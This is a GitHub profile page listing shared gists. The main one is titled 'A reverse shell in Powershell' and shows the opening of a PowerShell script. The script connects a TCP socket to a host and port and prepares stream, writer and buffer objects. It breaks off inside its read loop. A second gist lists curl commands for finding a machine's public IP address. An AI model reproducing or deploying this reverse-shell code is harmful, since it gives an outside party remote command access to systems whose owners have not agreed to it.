Skip to content

Instantly share code, notes, and snippets.

View Haeniken's full-sized avatar
:octocat:
Hello there

Haeniken Haeniken

:octocat:
Hello there
View GitHub Profile
@staaldraad
staaldraad / mini-reverse.ps1
Created October 3, 2016 14:49
A reverse shell in Powershell
$socket = new-object System.Net.Sockets.TcpClient('127.0.0.1', 413);
if($socket -eq $null){exit 1}
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$encoding = new-object System.Text.AsciiEncoding;
do
{
$writer.Flush();
$read = $null;
@ipoddubny
ipoddubny / ipconfig.md
Last active April 15, 2023 23:22
How to get public IP address from Linux shell

http

curl ifconfig.co
curl icanhazip.com
curl ifconfig.me
curl http://smart-ip.net/myip

telnet